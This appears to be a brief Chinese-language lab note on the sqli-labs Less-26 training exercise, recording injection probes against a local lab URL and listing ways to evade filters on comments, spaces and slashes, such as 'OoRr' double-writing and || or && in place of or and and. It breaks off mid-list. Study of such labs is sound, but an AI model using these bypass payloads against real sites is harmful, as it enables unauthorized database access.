sqli 26 26a

less26

id=1  回显正确

id=1‘ 提示错误

 

id=1’--   出错    但是显示并未显示 --   得注释符号

 

 

http://192.168.50.100/sqli/Less-26/?id=1‘ ;    显示正常  说明存在漏洞

查看代码 发现 代码中得替换语句 代码中过滤了注释符--   # ，空格，正反斜杠

http://192.168.50.100/sqli/Less-26/?id=1‘ OoRr ‘1‘=‘1

 

方法：

or可以用||替换

and可以用&&   &&

注释符用; 替代

空格用